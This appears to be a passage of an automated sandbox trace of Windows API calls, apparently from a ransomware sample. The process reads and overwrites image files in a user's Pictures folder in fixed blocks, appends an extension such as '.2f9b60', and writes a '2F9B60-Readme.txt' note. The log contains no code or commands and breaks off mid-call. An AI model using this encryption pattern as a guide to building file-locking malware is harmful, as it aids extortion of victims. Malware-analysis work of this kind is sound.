RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0148.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678c0) returned 1 [0148.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2011f0f0 [0148.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0148.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7940 [0148.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0148.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.986] WriteFile (in: hFile=0x1e14, lpBuffer=0x2011f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d8cf760, lpOverlapped=0x0 | out: lpBuffer=0x2011f0f0*, lpNumberOfBytesWritten=0x1d8cf760*=0x3c00, lpOverlapped=0x0) returned 1 [0161.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2011f0f0) returned 1 [0161.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20139560) returned 1 [0161.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4610 [0161.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0161.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0161.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4700 [0161.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4700) returned 1 [0161.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4700 [0161.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4730 [0161.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4760 [0161.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4760) returned 1 [0161.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0161.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0161.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x423a8a40 [0161.490] SetFilePointerEx (in: hFile=0x1e14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.490] WriteFile (in: hFile=0x1e14, lpBuffer=0x423a8a40*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x1d8cf810, lpOverlapped=0x0 | out: lpBuffer=0x423a8a40*, lpNumberOfBytesWritten=0x1d8cf810*=0x104, lpOverlapped=0x0) returned 1 [0163.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8a40) returned 1 [0163.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4700) returned 1 [0163.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4730) returned 1 [0163.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4610) returned 1 [0163.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678c0) returned 1 [0163.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77c0) returned 1 [0163.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7730) returned 1 [0163.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7700) returned 1 [0163.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050d0b0 [0163.271] wcscpy (in: _Dest=0x2050d0b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg" [0163.271] wcscat (in: _Dest=0x2050d0b0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg.2f9b60" [0163.271] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg.2f9b60", NtPathName=0x1d8cf830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1ce22560 [0165.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22560) returned 1 [0165.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c26fe0) returned 1 [0165.108] NtQueryInformationFile (in: FileHandle=0x1e14, IoStatusBlock=0x1d8cf898, FileInformation=0x1d8cf8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d8cf898, FileInformation=0x1d8cf8a8) returned 0x0 [0165.108] NtSetInformationFile (FileHandle=0x1e14, IoStatusBlock=0x1d8cf898, FileInformation=0x1d8cf8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d0b0) returned 1 [0165.114] FlushFileBuffers (hFile=0x1e14) returned 1 [0166.267] CloseHandle (hObject=0x1e14) returned 1 [0183.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ad4a0 [0183.990] wcscpy (in: _Dest=0x202ad4a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" [0183.990] wcscat (in: _Dest=0x202ad4a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt" [0183.990] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\2f9b60-readme.txt")) returned 0xffffffff [0188.372] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12fc [0209.478] WriteFile (in: hFile=0x12fc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1d8cf750, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1d8cf750*=0xba9, lpOverlapped=0x0) returned 1 [0216.716] CloseHandle (hObject=0x12fc) returned 1 [0220.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad4a0) returned 1 [0220.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1550) returned 1 Thread: id = 2311 os_tid = 0x1c80 [0148.998] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\WlJtyhKfB82HFNT.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\wljtyhkfb82hfnt.gif")) returned 0x20 [0148.998] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\WlJtyhKfB82HFNT.gif", dwFileAttributes=0x20) returned 1 [0148.999] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\WlJtyhKfB82HFNT.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\wljtyhkfb82hfnt.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dd8 [0148.999] GetFileSizeEx (in: hFile=0x1dd8, lpFileSize=0x21a7fc60 | out: lpFileSize=0x21a7fc60*=99541) returned 1 [0148.999] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x184d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.999] ReadFile (in: hFile=0x1dd8, lpBuffer=0x21a7fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21a7fc28, lpOverlapped=0x0 | out: lpBuffer=0x21a7fbe0*, lpNumberOfBytesRead=0x21a7fc28*=0x4, lpOverlapped=0x0) returned 1 [0149.000] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7940 [0149.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7760 [0149.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8760 [0149.001] NtQuerySystemTime (in: CurrentTime=0x21a7fb20 | out: CurrentTime=0x21a7fb20*=132462177542290000) returned 0x0 [0149.001] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x37b166d6 [0149.001] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x483a8acd [0149.001] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x509f8c3 [0149.001] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x6847a5c4 [0149.001] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x291b9ebe [0149.001] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x19f30793 [0149.001] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x32de3d48 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x6bff8d3d [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x7981e621 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x2857f794 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x7b2e5da1 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x74ddd160 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x746b79b4 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x5fc74c5c [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x796dfe16 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x6c5fb0ac [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x11535b7a [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x62d31400 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x7df1d1e1 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x3b3f8b84 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x66e148dd [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x31a7f197 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x3e90f2f2 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x161ca7d [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x7b297f38 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x24ff3de0 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x6c6b36d2 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x78cfe683 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x38793a73 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x22b5d03f [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0xc6bd4b6 [0149.002] RtlRandomEx (in: Seed=0x21a7fb10 | out: Seed=0x21a7fb10) returned 0x119e412d [0149.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71d0 [0149.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0149.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fe0 [0149.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0149.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8760) returned 1 [0149.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0149.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20131d40 [0149.017] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.017] ReadFile (in: hFile=0x1dd8, lpBuffer=0x20131d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21a7fb80, lpOverlapped=0x0 | out: lpBuffer=0x20131d40*, lpNumberOfBytesRead=0x21a7fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0149.018] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0149.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0149.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7940 [0149.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0149.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20126910 [0149.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7940 [0149.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8760 [0149.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8760) returned 1 [0149.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0149.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0149.020] WriteFile (in: hFile=0x1dd8, lpBuffer=0x20126910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21a7fb80, lpOverlapped=0x0 | out: lpBuffer=0x20126910*, lpNumberOfBytesWritten=0x21a7fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0161.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20126910) returned 1 [0161.498] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.498] ReadFile (in: hFile=0x1dd8, lpBuffer=0x20131d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21a7fb80, lpOverlapped=0x0 | out: lpBuffer=0x20131d40*, lpNumberOfBytesRead=0x21a7fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0161.498] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19270 [0161.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0161.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4790 [0161.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4790) returned 1 [0161.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20126910 [0161.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4790 [0161.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a47c0 [0161.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a47c0) returned 1 [0161.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0161.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19270) returned 1 [0161.500] WriteFile (in: hFile=0x1dd8, lpBuffer=0x20126910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21a7fb80, lpOverlapped=0x0 | out: lpBuffer=0x20126910*, lpNumberOfBytesWritten=0x21a7fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0161.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20126910) returned 1 [0161.502] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x148d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.503] ReadFile (in: hFile=0x1dd8, lpBuffer=0x20131d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21a7fb80, lpOverlapped=0x0 | out: lpBuffer=0x20131d40*, lpNumberOfBytesRead=0x21a7fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0161.503] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x148d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19270 [0161.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0161.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a47c0 [0161.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a47c0) returned 1 [0161.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20126910 [0161.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a47c0 [0161.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a47f0 [0161.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a47f0) returned 1 [0161.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0161.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19270) returned 1 [0161.505] WriteFile (in: hFile=0x1dd8, lpBuffer=0x20126910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21a7fb80, lpOverlapped=0x0 | out: lpBuffer=0x20126910*, lpNumberOfBytesWritten=0x21a7fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0161.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20126910) returned 1 [0161.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8ad0 [0161.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a47c0) returned 1 [0161.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4790) returned 1 [0161.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0161.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20131d40) returned 1 [0161.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d7f40 [0161.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19270 [0161.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0161.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7940 [0161.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0161.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d7e80 [0161.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7940 [0161.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4790 [0161.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4790) returned 1 [0161.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0161.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19270) returned 1 [0161.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x158) returned 0x133600 [0161.512] SetFilePointerEx (in: hFile=0x1dd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.512] WriteFile (in: hFile=0x1dd8, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x21a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x21a7fc30*=0x158, lpOverlapped=0x0) returned 1 [0163.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0163.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7790 [0163.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7790) returned 1 [0163.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7790 [0163.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7700 [0163.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7730 [0163.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7730) returned 1 [0163.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0163.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd869d0 [0163.291] sprintf (in: _Dest=0x1cd869d0, _Format="%c%c" | out: _Dest="5a") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869d2, _Format="%c%c" | out: _Dest="d3") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869d4, _Format="%c%c" | out: _Dest="bd") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869d6, _Format="%c%c" | out: _Dest="77") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869d8, _Format="%c%c" | out: _Dest="42") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869da, _Format="%c%c" | out: _Dest="46") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869dc, _Format="%c%c" | out: _Dest="63") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869de, _Format="%c%c" | out: _Dest="c5") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869e0, _Format="%c%c" | out: _Dest="5b") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869e2, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869e4, _Format="%c%c" | out: _Dest="31") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869e6, _Format="%c%c" | out: _Dest="f3") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869e8, _Format="%c%c" | out: _Dest="3e") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869ea, _Format="%c%c" | out: _Dest="5d") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869ec, _Format="%c%c" | out: _Dest="7e") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869ee, _Format="%c%c" | out: _Dest="cd") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869f0, _Format="%c%c" | out: _Dest="e5") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869f2, _Format="%c%c" | out: _Dest="e7") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869f4, _Format="%c%c" | out: _Dest="9b") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869f6, _Format="%c%c" | out: _Dest="d4") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869f8, _Format="%c%c" | out: _Dest="b3") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869fa, _Format="%c%c" | out: _Dest="a1") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869fc, _Format="%c%c" | out: _Dest="ba") returned 2 [0163.291] sprintf (in: _Dest=0x1cd869fe, _Format="%c%c" | out: _Dest="a6") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a00, _Format="%c%c" | out: _Dest="b9") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a02, _Format="%c%c" | out: _Dest="db") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a04, _Format="%c%c" | out: _Dest="f7") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a06, _Format="%c%c" | out: _Dest="5c") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a08, _Format="%c%c" | out: _Dest="d9") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a0a, _Format="%c%c" | out: _Dest="9a") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a0c, _Format="%c%c" | out: _Dest="fe") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a0e, _Format="%c%c" | out: _Dest="87") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a10, _Format="%c%c" | out: _Dest="1c") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a12, _Format="%c%c" | out: _Dest="a5") returned 2 [0163.292] sprintf (in: _Dest=0x1cd86a14, _Format="%c%c" | out: _Dest="7c") 